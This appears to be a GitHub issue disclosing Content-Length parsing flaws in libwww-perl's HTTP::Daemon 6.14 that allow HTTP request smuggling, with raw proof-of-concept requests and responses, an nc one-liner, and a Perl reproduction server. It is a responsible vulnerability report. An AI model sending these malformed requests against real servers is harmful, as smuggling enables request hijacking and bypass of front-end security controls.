Skip to content

Discrepancies in the Parsing of Content Length header leading to http request smuggling #56

Open
@blessingcharles

Description

@blessingcharles

Poor parsing of content-length header in httpdaemon will lead to http request smuggling

RFC security considerations

Libwwwperl parses poorly the content-length header , if a proxy downstream a request to Libwwwperl which violates RFC in parsing
the content-length header will lead to http request smuggling , as it ambigiously parse the incoming request and contradicts with
the downstreaming proxy

Examples:

  1. Content_Length is treated as content-length header by httpdaemon , hence when a proxy downstream a request by just forwarding the
    content_length header it will lead to http request smuggling
  2. Multiple content-length header with different field values got accepted

Reference for http request smuggling

  1. James Kettle research paper
  2. Portswigger

POC

Below here I attached all the poc for the discrepancies occured in httpdaemon in parsing the request which will lead to http request
smuggling

Discrepancy in Parsing

1. Multiple Content-Length with different values got accepted , which is violation according to RFC ,and can lead to http request smuggling

POC

Request

GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: 2
Content-Length: 3

abc

Response
HTTP/1.1 200 OK
Date: Mon, 30 May 2022 17:50:12 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 24

Body Length: 2 Body: ab

2. Failed to parse the Content-Length correctly

Eg : Content-Length: 3 3 , Content-Length: 3\r\n 1

POC

Request

GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: 3 3

abc

Response

HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:02:08 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25

Body Length: 3 Body: abc

3. negative content-length field values got mapped to positive values differently

Eg : -3 = 1 , -2 = 2 , -1 = 3

POC

Request

GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: -1

abc

Response 

HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:10:12 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25

Body Length: 3 Body: abc

4. +ve sign got accepted before content-length field value

GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: +3

abc

HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:12:36 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25

Body Length: 3 Body: abc

5. Content_Length header got accepted as content-length , this will definitely lead to http request smuggling

Request

GET / HTTP/1.1
Host: localhost
Connection: close
Content_Length: 3

abc

Response

HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:14:23 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25

Body Length: 3 Body: abc

6. decimal values got accepted in content-length values

Request

GET / HTTP/1.1
Host: localhost
Connection: close
Content-Length: 03.00

abc

Response

HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:17:47 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25

Body Length: 3 Body: abc

7. FormFeed \x0c , BackSpace \x08 , Vertical tab \x0b got accepted before and after content-length values

Content-Length: [prefix]3[suffix]

 echo -ne "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: \x0c3\r\n\r\naaa" | nc 10.16.56.236 8008


HTTP/1.1 200 OK
Date: Mon, 30 May 2022 18:20:17 GMT
Server: libwww-perl-daemon/6.14
Content-Length: 25

Body Length: 3 Body: aaa

version 6.14

Code to Reproduce

use HTTP::Daemon;
use HTTP::Status;
use Try::Tiny;

my $d = HTTP::Daemon->new(
    LocalAddr => '10.16.56.236',
    LocalPort => 8008,
) || die;

print "Server started at:", $d->url, ">\n";
while (my $c = $d->accept) {
    try{
        while (my $r = $c->get_request) {
        if ($r->method eq 'GET' and $r->uri->path eq "/") {
            
            my $body_data = "\rBody Length: " . length($r->content) . " Body: " . $r->content ;

            my $resp = HTTP::Response->new(200);
            $resp->content($body_data);

            $c->send_response($resp);
        }
        else {
            $c->send_error(RC_FORBIDDEN)
        }
        }
        $c->close;
        undef($c);
    }
    catch{
        $c->close;
        undef($c);
        warn "request failed" ;
    }
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions